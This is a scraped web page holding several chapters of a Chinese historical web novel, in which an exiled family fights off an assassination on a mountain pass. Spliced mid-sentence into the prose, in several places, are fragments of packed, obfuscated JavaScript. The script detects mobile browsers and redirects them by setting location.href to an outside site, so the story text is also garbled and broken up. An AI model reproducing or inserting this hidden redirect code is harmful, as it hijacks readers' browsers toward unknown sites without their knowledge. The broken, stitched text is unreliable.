l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898576|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “羊不都长得一个样?不过是没有主人的就好,没有麻烦。” “它是送来给我们的罢?今晚能吃羊了。” 那只白隼没有理会人群的纷纷议论声,只降低了速度落下,最后慢慢停在苏琯璋肩上,高扬着头,一副睥睨的模样。 宣槿妤是真的没想到还能见到陪伴了她三个月的白隼。 她原来是疼得厉害,哪哪都不舒服,也看苏琯璋不顺眼。 既不想看到他,却又十分矛盾地希望他留在自己身边陪着自己。苏琯璋一会儿被她撵走,一会儿又被她遣人叫回来,可被折腾得不轻。 但他也丝毫没有怨言,只恨不得将她身上的难受都转移给他才好。 白隼来时,宣槿妤才拒绝了苏琯璋抱她的询问,由着他扶着走了几圈。 怀孕时要多走动,生产的时候才好;这是娘亲、府医、祖母、婆母和嫂嫂们都跟她说过的事,她也牢牢记住了。 只实在太疼了,宣槿妤才走了三圈就有些受不了,含着泪靠在苏琯璋肩头,瞧着可怜巴巴的。 不过一见到白隼,她便将身上的那些难受都忘记了。睫毛还是湿的,却已经开始笑了起来,欢喜地摸了摸它的头。 她满足地眯起了眼睛,白隼小脑袋上的毛羽是一如既往熟悉的好手感。她连声询问白隼,也不在意它是否能够听懂且做出回应。 “你不是自由了吗?怎的还回来了?” “你这半个月过得可还好?有没有饿着?” “你是怎么找到我们的?” 她说着又去戳了戳它的肚皮,发现那里鼓鼓的,脸上的笑意便止不住了。 它很显然没有饿着。 “这是又吃了什么?肚皮这样鼓胀,跟我们第一次见面时一样。” 那时候的玉爪,肚皮可足足用了大半个月才消下去,后来就开始吃东西了。 苏琯璋一只手牢牢撑在她腰上——她快要生了,孩子随时可能入盆,她现下很容易就会腰酸。 且她才疼过一场,更是要休息一下。 他扶着宣槿妤在已经铺好毯子的平坦石头上坐下,自己则坐在她身后撑着她的腰腹,最后再将肩膀上沉甸甸的白隼单手捧下来,托在掌心。 宣文晟十分贴心地回到马车上取来一方小木桌,支开,苏琯璋便将手中的白隼放在木桌上。 孩子们也很想念这只小伙伴了,很快围了过来。 白隼圆溜溜的棕褐色眼睛转了转,似在扫视着它的熟人们,最后停在宣槿妤面上不动了。 宣槿妤试探性地朝它伸出手,果真见它将小脑袋凑到她掌心,蹭了蹭。 “你也想我了是不是?”她柔声问。 白隼又蹭了蹭,宣槿妤便欢欢喜喜地不住抚摸着它滑顺的毛羽。 其余苏家人也都围过来了。 玉爪和他们相处了三个多月,之前半个月不见它,还怪想念的。 “这只玉爪真通人性。”苏声和瞧得眼热的许玉娘说道。 说实话,他也有些羡慕了。 他以前抓过的矛隼,可没有一只能够驯服的,每次都只能遗憾地将它们放归山林。 可眼下这只和小儿媳亲亲热热的玉爪,没人驯它,它竟也能这样亲人。 是他们之前用错方法了? 苏声若有所思。 60. 第 60 章 白隼最后再停在苏琯璋肩上,轻轻拍打着翅膀时,宣槿妤便明白,它要走了。 “若是有缘,我们会再见面的。”她轻声道。 白隼歪着头,在宣槿妤手上蹭了蹭,似在表达它的不舍。 宣槿妤柔嫩的指腹在它光滑柔软的腹部轻轻划过,“你好好的,若再遇上雨天,就莫要出去啦!” 可不是每次被雷劈了都无性命之忧的,也不是骨折了刚好有人会医术替它固定包扎的。 那次听宣文晟说,那日它被雷从天上劈下来,若非有他们的马车挡着,它就要被劈到尖尖的树叉上了。 步步凶险,这只玉爪倒是很幸运地活了下来。 “再见了,小玉爪。”宣槿妤最后笑着和它道别。 终究没有给它取名字,它是野物,就始终是野物,属于广袤辽阔的天空。 没有上次不辞而别的遗憾,这次补了道别,于人类而言,已经足够宽慰。 一众人看着白隼振翅,直冲云霄,高亢破空的叫声传了很远。 当晚,火堆上架起了白隼送来的那只羊羔,宣文晟还遣人去附近转了转,可惜没有遇上什么人家。 果然是只野羊不错。 只到底还是有些恼怒,他们都半年没有碰上自己队伍以外的人家了。当然,暗中跟着的那些眼睛不算,他们本就是一路跟着过来的。 “你说怎么就这么巧,半年多了就不见一户人家?”宣文晟去问自己的妹夫。 他站在苏琯璋身后,说着自己的猜测,“妹夫,我在想,那几个斥候出去探路,是不是也偶尔会碰上附近的人家,只是特意又带我们绕了路?” 苏琯璋正蹲在溪边,清洗着宣槿妤刚不小心被泥土弄脏的外裳,“这就要问陈副尉了。”他回答道,手上的动作没停,小心地将上边沾着的泥土搓掉。 外裳很快被溪水冲洗干净,他将衣裳捞上来,团在手里,运起内力,慢慢地烘着。 见宣文晟仍站着不动,好奇地看他烘衣裳,苏琯璋补充道:“不过一般斥候走的路都是固定的,不会特意绕路。” 宣文晟看他都不用找地方晾晒,只抱在怀里就开始烘,竟如此方便。 他眼里的羡慕都要溢出来了,“我都要嫉妒你们这些有内力的人了。”他说。 他没有上手去摸那件外裳,只看料子和厚度,也能看出得烘干这件衣裳有多不容易。 若是夏日将这件衣裳放在大太阳底下晒,也要晒上个小半日。 而苏琯璋却连小半刻钟的时间都不用,就将烘干了的衣裳重新叠好,小心地搭在左手手臂上。 “也好,冬日里妹妹的衣裳也不怕干不了。”宣文晟含笑道。 冬日,正是宣槿妤坐月子的时候。 说着,宣文晟眼里有了憧憬,心里不知不觉间,已经软成一团。妹妹快要生了,他就要当舅舅了。 羊是白隼送来感谢宣槿妤夫妇的救命之恩的,陈阳王虎两队人便很知趣地自己去打了野物,没要他们分羊。 毕竟一只羊,他们这一大家子加上随从,自己就不够吃的。 两位厨娘跟着队伍走了半年有余,对于怎么处理野物已经很有心得,很快晚膳已经准备妥当。 宣槿妤喝的羊肉汤,蘸了调料的羊肉鲜嫩咸香,惹得她胃口大开。 不过羊肉性温燥,孕妇不宜多吃,宣槿妤只喝了一碗汤,吃了几块肉便没有再动了。 不过她倒是多吃了几块已经被苏琯璋剔干净鱼刺的鱼肉。 鱼羊鲜,果真不错,她喝完了汤,仍意犹未尽。 “这和大草原那次的鱼羊鲜比,味道哪个更胜一筹?”苏声问许玉娘。 他嘴巴糙,比不得许玉娘嘴巴刁,尝不出有什么区别。 许玉娘已经放下了筷子,专心地给孙女彤姐儿剔鱼肉,闻言笑了笑,“一个是大草原上的野物,一个是山林间的野物,各有各的风味。”她说。 又过了几日,矮矮的群山已经被他们甩在身后。 清风离开队伍一次,回来的时候和宣文晟汇报说商队已经将事情都办妥。 宅子已经买好了,就在淮招县郊外,离城门不远,入城也方便。 而且地处偏僻,宅子后面还连着一片庄子,加上后面跟着的商队,也都还是足够住下的。 远离人家居住,陈副尉和王千户定然不会有意见。 “淮招县气候温润,适宜居住;但离盛京城实在太远,也少有人家愿意在这儿定居的。” 清风说着自己打探来的消息,“商队去问价的时候,宅子的主人迫不及待地就卖了,连着庄子里种着的各类果树、花木都送了我们。” 宣文晟颔首,“价格要给得公道些,也莫让人吃亏了。” “这是自然,商队知道的。”清风回答,“我去宅子和庄子里都看过了,都布置好了。给小姐姑爷住的院子还多了一个跨院,可以用做产房。” 本就是为了宣槿妤生产才在淮招县停留的,也是为此才买的宅子;清风心里十分清楚,便将那院子里的各色布置说得很详细。 “布局是按着夫人寄来的图纸做的,跨院也通了地暖,保证不会冷到小姐和孩子。” 清风办事,宣文晟是放心的,他拍了拍这侍卫的肩膀,“做得不错。”而后吩咐道:“商队那里,你看着赏。” 清风应了。 不待他退下,宣文晟已经招手让苏琯璋过来,“院子和产房都布置好了。依你推测,我们还有几日可以到淮招县城外?” 苏琯璋看着前方高耸入云的一座高峰,蹙着眉,不知在想些什么。 听到宣文晟在叫他,便回:“约莫还有个两日。” 只是…… 他压低了声音,“这一路太安静了。我们上次被狼袭的消息早已传回京中,大概这个月就会有消息传到跟着我们的人那里。” “若要冲我们下手,只怕就在这几日。” 他不相信龙椅上那位是真的愿意给他们苏家人生路,也不相信他会有作为帝王该有的理智。 若盛誉有,他就不会在两军大战,主将失联时将副将流放,任由早该结束的战争拖到现在。 要知道,两军胶着越久,耗费的军费越高;对守卫国土的将士们来说也越艰难,更别提他们身后一座座边关城池里的百姓们。 苏琯璋没有说是谁要冲他们下手,但宣文晟显然也胸中有数。 就连一旁的清风,也警惕地往周围扫视了一眼。 苏声和苏琯煜走了过来。 几人假装弯腰捡着柴火,说话时头也避着不远处的官兵和禁军们,同时警惕着暗处的一双双眼睛。 “在说淮招县的事?”苏声捡了一根干透的枯木,在地上敲了敲,将附着的泥土敲掉,说话声被完美掩盖在敲击声中。 苏琯璋也弯腰搂了一堆枯叶,这可以当作烧火的引子,“估计这几日那位就要朝我们下手。”他重复了方才和宣文晟说的话。 宣文晟有些忐忑,他没经历过这样避人耳目的谈话方式,一时显得有些紧张兮兮的。 太显眼了。 苏琯煜将他的头按下去,“宣三哥,我们都在捡柴火,你可不能偷懒。”他的语气十分平常,声音也不大不小,和往日正常说话的音量没什么区别。 不远处刚走过来的一名禁军只扫了一眼,便了然地笑笑,不在意地走开了。 清风端过来一个平日里用来装杂物的木桶,开始装苏琯璋搂好的那堆枯叶,“公子别抬头,他们在监视我们。” 方才回马车拿木桶和回来捡柴火的这一路,他已经发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906165|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了若有似无但紧紧盯着他们动作的几双眼睛,官兵和禁军都有。 宣文晟一惊,忙学着清风的样子去装枯叶。 “这几日队里的氛围也变了,”苏声看了一眼有些不淡定的宣文晟,笑了笑,“估计陈副尉和王千户也都猜到了那位的想法。” 他冷淡地将几根枯木用草茎捆在一起,语气十分平淡,然后丢出一个让宣文晟心惊肉跳的消息来。 “说不准,他们已经接到要配合暗杀我们的消息了。不然这些人也不会时隔半年,又开始监视我们。” 他们一家人刚开始被流放时,禁军以王虎为首,曾十分不客气地时刻监视了他们一两日。 然后被苏琯璋找了谈过一次话,后来就对他们客气许多,也没再监视过他们。 如今,连兵部官兵们的态度也起了变化。 苏声有些感慨,他还记得,当日旧部如今的兵部尚书岳丰将他们送到十里亭山脚下时说的那些话。 或许真的是被小儿子猜中了。他想。 但已经无关紧要了。 “是从那次狼袭开始的。”苏琯璋忽然道,低着头将手里的枯木放在地上,然后从他们身边走开,到旁的地方去继续捡柴火去了。 他们几个大男人围在一起实在过于显眼了些,便是捡柴,也没有一直贴在同一个地方捡的。 又不是妇道人家,洗个衣裳捡个柴火都要说话作伴儿。 入了冬,纵然这里不似北方那般冷冽刺骨,但吹来的风也带了几分冷意。 苏琯璋替宣槿妤裹紧了身上的棉被,抱着她,迟迟没有睡去。 冬日里山间的夜不似夏日那般热闹,许多动物都已经冬眠了,就连虫蛇也少见了许多。 故而此时山洞外面显得有些安静,只听得冷风呼啸着穿过乔木,很快又带走一片枯叶的轻微声响。 苏琯璋注意到,父亲悄悄起了身,和他对视一眼,很快走出山洞。 这时他就能听见飒飒的风声,混合了属于人类的轻盈脚步声。 苏声再回来时,带回一身的冷意。不是天气的那种冷,而是由内往外散发的冷意。 苏琯璋注视着父亲悄无声息地继续躺回母亲身边,又和几步远的大哥苏琯煜对了个视线,见他冲自己无声地笑笑,便很快闭上眼睛。 翌日清晨他们一行人再启程上路时,队伍里紧绷的气氛连孩子们都察觉到了。 彤姐儿不安地将小手放进父亲怀里,“爹爹,我手冷。”她撒娇着说。 流放半年,小孩子都无师自通地学会了如何掩人耳目。 苏琯煜将女儿的手揣进暖融融的衣裳中,对妻子说道:“我昨日见到有送来的小手套,要不要给彤姐儿戴上?”他在咨询许萱娘的意见。 许萱娘摸了摸女儿被山风吹得微微发凉的小脸,点点头,很快转身取来了小手套,还带了一顶小帽子,一齐给彤姐儿戴上了。 见状,常湄言和丁茜茜也很快给自己的孩子们戴上小手套和帽子。 “喜庆了不少。”苏老夫人乐呵呵地说道。 孩子们这身打扮有点像过年了,而此时已经进入十月,离过年也不远了。 她的目光和蔼地扫过宣槿妤被包裹在薄袄里的肚子,见那里像个会动的圆滚滚小球,心里憧憬而又担忧。 若是等孩子出生之后……就好了。 只可惜。 她也是习武之人,虽然年老,但属于武人的敏锐还没有褪去。她感受着周遭越来越不善的目光,心里叹气。 避不开的。 一行人安静地登上了那座高耸入云的山峰,这里,是苏琯璋推测的最适合对他们动手的地方。 而穿过这座高峰,才是正式到了淮招县的地界。那里,有他们刚买下布置好的宅子等着他们。 61. 第 61 章 刺杀来得意料之中,却也是悄无声息的。 陡峭难行的山路上,四周的五个峰台上,不知何时已经站满了将脸蒙得严严实实的黑衣人。 冬日天寒,尤其这样直入云霄的高峰上,更是料峭。黑衣人身上晨露未消,看样子,像是在这里已经等候他们多时。 苏琯璋单手握着宣槿妤的肩膀,将她平稳地从自己怀里放到地上,摸了摸她的脸,很快从腰间抽出一柄软剑。 宣槿妤放轻了呼吸,生怕自己会影响到他对敌。 昨夜他们已经说好了,等解决完这件事,他们就可以到淮招县城外那处已经布置妥当的宅子里安置下来,一起等着他们的孩子出生。 苏声、苏琯煜他们已经不知何时拿到了一直放在马车上的剑,和护卫们一起守在女眷和孩子们身前。 宣文晟深吸口气,站到了宣槿妤身旁,“妹妹别怕。” 这是自他们踏上这最高峰一来,一行人说的第一句话。 一直遥遥坠在他们后头的商队察觉到不对劲,此时已经赶了上来。 宣槿妤留意到这支商队的人数居然多了数十倍有余,如今已有上百人。再细看那些人,竟还有些是她在宣府时曾有过数面之缘的熟面孔。 她看向宣文晟,得到他肯定的颔首。 之前商队的人大多数是他在行商之时慢慢培养起来的,只有少数几名才是从宣府开始就一直跟着他的人。 但自那日妹夫说了这两日极大可能会有暗杀的时候,他就已经开始让清风召集暗中跟着他们的、被他一直藏在宣家的势力。 如今商队中的人,尽数是那人留给他的侍卫,还有些是他的暗卫。 这些人虽说武功没到登峰造极的地步,可要应对暗杀,再没有比他们更合适的人选了。 既然已经逼被到这个份上,他再逃避下去也是无用,不若迎难而上。 陈阳从前方退回来,手中的剑也已经出鞘,他看着迎上前的王虎,一言不发。 王虎不顾属下的阻拦和担忧,一脚踩在悬崖边上,整个人摇摇欲坠。看出陈阳的暗中相逼,他握紧手中的剑柄,手背上的青筋已经暴起。 同样一件事,陈阳可以干脆利落地做出选择,但他不行! 他一开始,就和陈阳不一样。这个决定,至少现在,他给不了陈阳想要的答案。 黑衣人只看着二人对峙,慢慢抽出手中的刀剑,森冷的寒光已经对准了他们。 “王千户,有敌来袭。”陈阳终于开口。 两支队伍,或许说,两支队伍的带队人,暗中的交锋已经被摆到了明面上来。 苏琯璋有些意外地看了陈阳一眼,他竟是愿意站在他们这一边的么? 只是,这究竟只是陈阳个人的决定,还是奉了那位兵部尚书的命令? 这个念头只是下意识地在他脑中掠过,很快被他控制住,没有再往下想。他手中的软剑已经被抖开,正是要见血的时候,不宜分神。 王虎依旧没动。 黑衣人已经朝他们袭来。 苏琯煜、苏琯文和苏琯武已经守住了前、后和左侧三个方向,只留下身体右侧深不见底的悬崖方位,苏声正站在这里。 “父亲小心些。”苏琯璋收回视线,和身后的父亲说道。 苏声应了一声,将脚边摇晃不休的一块大石头踢了下去,侧耳细听,过了许久也没有听到回响。 刀剑交锋的声音不绝于耳,宣槿妤深吸口气,摸了摸肚子里活跃的孩子。“你乖些。”她轻声道。 孩子已经入了盆,她近来能够察觉到小腹在一阵一阵地抽疼。 苏琯璋说,她随时都可能要生了。 只是,无论如何,不要在这时候要生。 不要让他们分神。 肚子里的孩子感受到母亲的情绪,很快安静下来。 好孩子。 宣槿妤唇边勾起一抹小小的弧度。 苏琯璋听到了她对腹中孩子的低语,眼中闪过一丝痛楚,紧握着她的那只手微微用力,却不敢回过头来。 他不能分心。 黑衣人太多了,且占据了最有利的五处峰台,留给于他们而言地势过于不利的这中间一道山路。 三个方向都有人袭击,而剩余的方向,一不小心,就要坠入万丈悬崖,粉身碎骨。 刀锋划过宣家一名护卫的手臂,鲜血渗了出来。 陈阳咬了咬牙,没有再理会依旧沉默的王虎,转身迎上了一名黑衣人。 见状,一直游离在战况之外的兵部官兵,也都提着自己的兵器加入了战斗。 王虎眼神颤动,没有握住剑柄的那只手已经有鲜血溢出,滴滴答答落下,却没有滴到山路上,而是落入悬崖下。 他的神智此时也和他整个人一样,站在悬崖边上,退一步,就要落入万丈悬崖。 “杀!”一直沉默的黑衣人忽然开口,不仅是在下令,也是在提醒他。而黑衣人的双眼,更是一直死死地盯着王虎,逼着他做下决定。 王虎高大的身躯肉眼可见地一震,憨厚的面容上闪过痛苦,他却死死地咬着牙,一动不动。 更多的黑衣人从山背面跳了出来。 血腥气弥散在这并不宽阔的山路上,滴落在叶片已经枯干根茎却依旧坚/挺的草丛里。 承受着最多攻击的前方,已经有人渐渐力不从心。 一直跟在他们身边的一名侍卫倒在地上,他的脖子已经被割破,喉管涌出大股大股的鲜血。 而他持剑的那只手臂,一道深可见骨的伤口赫然在目。 宣文晟喉咙有些堵,只逼着自己撇开视线,不再去看对自己忠心耿耿的侍卫。 那峰台后面似乎是泉水的源头般,流水一般的黑衣人源源不断地自那里涌出来。 地上倒下越来越多的尸体。 他们的阵型几乎就要被冲散。 宣槿妤深吸口气,挣脱了苏琯璋紧紧束缚她手腕的手,挺着个让人瞧了就觉着心惊的大肚子,抬脚就朝欲抓着彤姐儿的刺客踹去。 她不想再像上次野狼袭击时那样,空有一身神力却毫无用处,只能受着他们的庇佑。 她觉着,自己的神力也该用在该用的地方。 她也不是仅会缩在他们身后的弱女子,她也可以和嫂嫂们、婆母二婶甚至祖母她们一样,和人对战依旧不落下风。 嫁入苏家三年,她旁的没学会,净顾着和苏琯璋置气了。可苏家人刻在骨子里的武人风骨,她也学了几分。 宣家姑娘可以是柔弱的,可苏家媳妇儿却有铮铮风骨。 巾帼不让须眉。 黑衣人毫无防备之下受了她这一脚,顿时身体不受控制地朝后倒去,狠狠地吐了一口血。 宣槿妤又转身拿过马车上的柴火,一根又一根,朝着那些欲要偷袭己方的黑衣人狠狠砸去,一砸一个准。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王虎依旧咬紧牙关,没有动弹。 后头涌上来的一批黑衣人见这群人没有遭到攻击,便换了方向,试图朝着王虎他们杀来。 那黑衣人头领气得大喝:“蠢货,人在那儿,给我杀!” 若非离京太远,他带来的人手不足以对付苏家和他们暗中的护卫,他何至于接受这样一群四肢发达头脑简单的人加入他的暗杀队伍? 想着这群人的愚蠢,他忙重申一遍,也顾不得这些人会不会听见——反正他们都是要死的人了,也无所谓了。 “怀孕的那位夫人要活口,也不可伤了她。其余人一个不留,都杀了。”生怕这群蠢货曲解他的意思,黑衣人首领说得十分明白。 便是傻子也不会理解错我的话吧?他有些恼怒而又担忧地想着。 一群人齐齐应是,就连山背后也有应好声传来,响亮的声音在这悬崖上回荡。 像是生怕没有引起暗处其余势力的注意一样。 领头的黑衣人眼里都要冒出火来,一群蠢货。果然他就不该对他们抱有期待。 他扫过那边作壁上观的一群禁军,心头的火也越燃越盛,还有这群抗旨不尊的蠢货。 黑衣人首领恼得满脑子只剩下“蠢货”二字。 62. 第 62 章 一批又一批黑衣人跨过同伴的尸体冲杀过来,悍不畏死般的打法,终于将苏家人密不透风的守卫打出一道缝隙。 尽管陈阳很快顶替被击杀的下属将那个方位补上,但阵型已然不似方才那般牢不可攻了。 “怀孕的那位夫人要活口,也不可伤了她。其余人一个不留,都杀了。” 这句话他们都听见了,这也是那名官兵为何失神被杀的原因。 陈阳咬着唇,咽下了涌到喉咙口的血气,继续挥动着手里的剑。 他不敢去看苏家人,尤其是那位临产的宣小少夫人的脸。生怕看上一眼,自己的良心仿佛也在被置于油锅上煎熬。 他是五日前接到京中密报的,岳丰大人交代他务必谨慎行事,必要时只需遵从内心的选择便是。 然后同一日夜间,他收到了一名黑衣人的口信,说是圣意。 他犹豫了几日,终究做出了自己的选择。 若是他们死在这里,也算是不负圣命。毕竟,他一开始,接到的就是护送苏家人南下广虚府的旨意。 若是侥幸存活,那黑衣人空口白话的,他也可以辩解说是无凭无据,他不敢相信陛下会痛下杀手,只以为有人在伪造口谕。 藏头不露面的人,哪里值得信任呢?对吧? 只是,黑衣人头领方才的那句话险些将他心里的防线击溃。 当日十里亭中,他们还戏言宣小少夫人和宣小公子夫妻情深,宁可随夫流放也不愿意入宫,可惜了陛下的情深意重。 如今看来,全是恶心人的把戏。 他也算是明白了,陛下为何要让王虎在京中散播年轻帝王痴情不悔的流言。 这不是一名帝王该做的事。 纵然他出身低微,见识也少,但他也明白,自陛下将苏家一家人下狱的那一刻,所有的一切,就只是皇权倾轧下的结果。 譬如林太傅手中被收回的金腰带,譬如苏家人的无罪入流刑。 更甚者,还有如今的这场暗杀。 “王侯将相宁有种乎!”这句话他也是听岳丰大人说过的。 陈阳想着,眼神逐渐坚定,手中剑不断挥舞,接连杀了好几名黑衣人。 …… 那话在场之人都听见了,苏家和宣家的人都被恶心得不清,怒气转化为杀气;一时之间,躺在地上的黑衣人尸首多了不少具。 尤其苏琯璋所站着在的山路地面上,生生被他杀出了一条血河,血气冲天。他的身上,也沾满了黑衣人溅出来的血迹,这让他看上去像个玉面修罗。 可被他护在身后的宣槿妤,身上仍是干干净净的,虽挺着个一看就知快要生产的圆滚滚的大肚子,站在那里却依旧是俏生生的。 且她今日身上穿的薄袄和披风都是素色的,四周的鲜血蜿蜒到她脚边却不再流动,让她看起来仿若幽冥血河中开出来的一朵纯洁无暇的白色彼岸花。 怨不得要将她留活口。 有黑衣人感叹。 他是后面过来的人,并没有看到方才宣槿妤一根柴火重伤一名黑衣人的彪悍战绩,只看到她此时娇弱不胜风的模样。 黑衣人这样分神,在这样激烈的厮杀场面中乃是大忌,于是他很快便被苏琯璋一剑穿心。 他倒在地上时,眼中还残留着方才惊鸿一瞥的惊艳,身上的血液很快和地上的血河流成一片。 宣槿妤也听到了方才那黑衣首领喊出的那句话。 只留她一个活口是什么意思?她咬住下唇,不让自己的情绪过于外露。 她和盛誉,本就是没可能的两个人。当年先帝赐婚,她无法接受自己会和那样一个表里不一的人在一起,毅然求了外祖父和爹娘,抗旨拒婚。 她和苏琯璋成婚后,她以为帝王和臣妻,更不会再有交集。 新帝在宫宴上对她口称“师妹”,她竟天真地以为,他已经放下了当年的事。 毕竟,虽然她抗旨拒婚让他被先帝罚守皇陵一年,而丢了脸面;但他也因此得了外祖父的补偿和支持,从籍籍无名的弱小皇子,一跃成为储君,再成为如今的帝王。 当初他们就做好的交易,一切不过全是利益交换而已。他当年请旨赐婚,不也是在打着这个主意么? 还是说,当了皇帝之后,此前做过的“绝不纠缠”“绝不迁怒”的保证,竟也不作数了么? 刑部死牢里盛誉让外祖父带来的让她堕胎入宫为妃的消息,她只以为他是在羞辱她。 可如今,他若要杀了苏家人,只留下她,又是什么意思? 为了她身后的宣家和林家,为了外祖父,好不和他们离心?可若是如此,为何连三哥哥也不放过? 还是为了继续羞辱她,夺她入宫,好成全他在民间“情深意重”的名声? 一个帝王,散布自己痴恋臣妻的传闻,也实在匪夷所思,也简直是不可理喻。 爹爹和大哥哥想要阻止京中那些不堪入耳的流言传入她耳中,但怎么可能?宣槿妤想起在宣府时“无意间”听到的那些话,胃里一阵翻涌。 她捂着唇,不让自己再想下去,免得干呕出来影响到还在奋勇杀敌的这些人。 她反握住苏琯璋一直没有松开她的手,胃里终于好受不少。 “可是不舒服?”苏琯璋感受到她的动作,转过头问她。但很快他又转过头去,反手将剑划过一名正偷袭他的黑衣人喉咙。 宣槿妤看得心头一跳,忙道:“我没事,你别分心。” 方才若不是他回头及时,那黑衣人的刀就要砍在他持剑的手臂上了。 她的心头“咚咚咚”地跳着,忙抛却脑中一切想法,只专注地替他留意着周遭的一切。 远处山下的路有比这处更大的兵器交锋声传来。 有人且战且退,很快出现在他们的视野中。 宣槿妤认出来,最靠近他们这处战场的一群人里,有在京中时常跟着她的几名女暗卫。 那么,这些应当都是苏家的暗卫了。她心想。 而在苏家暗卫附近,也和黑衣人缠斗在一处的,是宣家和林家的暗卫——宣兆和林韧派出来的人,都是宣槿妤自幼眼熟的那些。 再往后的那些人,有的和黑衣人纠缠不休;还有的,则和苏家、林家还有宣家的暗卫们打成一团。 于是,那头的战况也很明朗了。有一拨人是站在他们这一头的,还有一拨,是站在新帝盛誉那边的,要将他们置于死地。 近了。 那群人且战且退,一直纠缠着,不多时便到了他们跟前。 窄窄的山道上挤满了人,有人的长矛都险些施展不了。 王虎还在观望,他看得出来,黑衣人最精锐的队伍就在刚到的这些人里边。 他也认出了和黑衣人打成一团的这些人,是之前狼袭时现身帮过他们的人。 很明显,是这些人拖住了这批明显武功比一直在和苏家人纠缠的黑衣人高出一大截、且训练有素得多的队伍,才减缓了苏家这群人的伤亡。 可是,一边是良心,一边是皇命,他内心的秤杆在左右摇摆,依旧下不了决心。 后头这些精锐的黑衣人加入战斗中后,苏家这群人明显就开始处于下风起来,渐渐左右支绌。 蓦地,被牢牢拴在山壁上的一匹马儿长长地嘶鸣一声,痛苦地倒了下去——它的咽喉处已经被一只不知何时穿过重重守卫,而飞进来的利刃扎透。 鲜血漫溢开来。 没有了束缚的车厢也很快轰然倒塌,里头的物品散落一地,还有的直直地冲入悬崖。 倒地的马匹、倒塌的车厢,和散落一地的物品,极大地妨碍了苏家这一方人的动作。 倒是对黑衣人来说,形势更加有利一些。因为不论这些人是否要清理杂物,他们的阵型也都不再完整无缺。 悬崖底下寂静无声。 风声呼啸,血腥之气越发浓郁,熏得人直欲作呕。 忽然,一直和黑衣人缠斗的一人格开一把正欲砍向他的剑,却没有乘胜追击,而是转身朝护在他身后背对着他的苏琯煜砍了下去。 方才那只扎死马儿的匕首,就是他趁乱飞出去的。 这一片空中兵器交击、暗器飞舞,已经到了让人眼花缭乱的地步,哪里会有人注意到己方一只飞出去的小巧匕首。 便是注意到了,也只会以为是被他无意中扔偏了,或被黑衣人格挡住而朝那边飞去的。且也只怕以为是后者的可能性更高些。 激烈的交锋中,少有人会想到背叛这样一个可能。 因为,他此时正和苏家人一同杀敌,互相交托了自己的后背,也守住了旁人的后背。 在扔出那只匕首之前,他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15916013|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直做得很好。 苏琯煜听到后面传来的破空声,敏捷地弯了下腰,险险避开那把锋利的刀锋。 “你……”他的同伴惊疑不定地看着他。 “你……”临阵倒戈的那人回头看向割开他脖颈的黑衣人,不甘心地倒了下去。 黑衣人头领气得直咬牙,一群蠢货。 这是他好不容易策反的人,也是一柄利剑! 他让那人蒙蔽了京中的势力,也一直听从京中的指挥装作和苏家人同一阵线,为此他还不惜让那人杀了自己许多手下。 可是才取信于苏家人,眼见着就要杀了苏国公府世子,他临时拼凑出来的人马却如此蠢笨。 气煞他也。 连番变故,苏家这边的阵营不再固若金汤——尤其是在心理上。 至少,和他们一起并肩杀敌、交托后背的人里边,可能有人和他们不是一条心。 苏声已经让人转换了阵型,决计不给可疑的人伤害后方女眷和孩子们的机会。 而他们自己,在杀敌的同时,也暗中留意起属于京中势力的那些人。只待稍有不对,就将他们与己方隔开。 如此耗费心神,对敌的效率自然下降,但这也是没办法中的办法了。 幸好那些人也知道苏家人的为难,很快便有人主动跃出内线,到外头和黑衣人战斗,将后背交给了苏家人守护。 如此,苏家人的阵型才又重新布置完整。 可是,方才的变故到底让他们损了先机,后发制人一时竟是不能够了。而且,他们已经出了纰漏。 只消方才那样一个契机,敌方已经有人悄无声息地溜进了他们的战线。 “雯姐儿。”宣槿妤眼尖地看到有一名黑衣人紧贴着从倒塌的车厢顶端滑来,已经顺手抓住了外侧的雯姐儿,举刀便要砍下去。 那个位置,马车和车厢还在的时候,基本是最安全的地方了。 只是,马车倒下时,许玉娘和苏二婶下意识将苏老夫人拉出了可能受到波及的范围。 而留在那里的女眷们此时也加入了对敌的战斗,就连年幼的启哥儿,也握着一柄匕首,保护着弟弟妹妹们。 此时没有人能分身救下雯姐儿! 宣槿妤在下意识喊出雯姐儿名字的时候,已经意识到这一点。 于是不待话音落下,她整个人已经再次挣脱苏琯璋的手,方才手中没有扔掉的木柴已经顺手扔了出去,正砸在那黑衣人胸膛上。 那黑衣人重重地吐了一口血,下意识便想将雯姐儿扔出悬崖。 宣槿妤这时已经冲过来了,一把将惊魂未定的雯姐儿拉了回来。 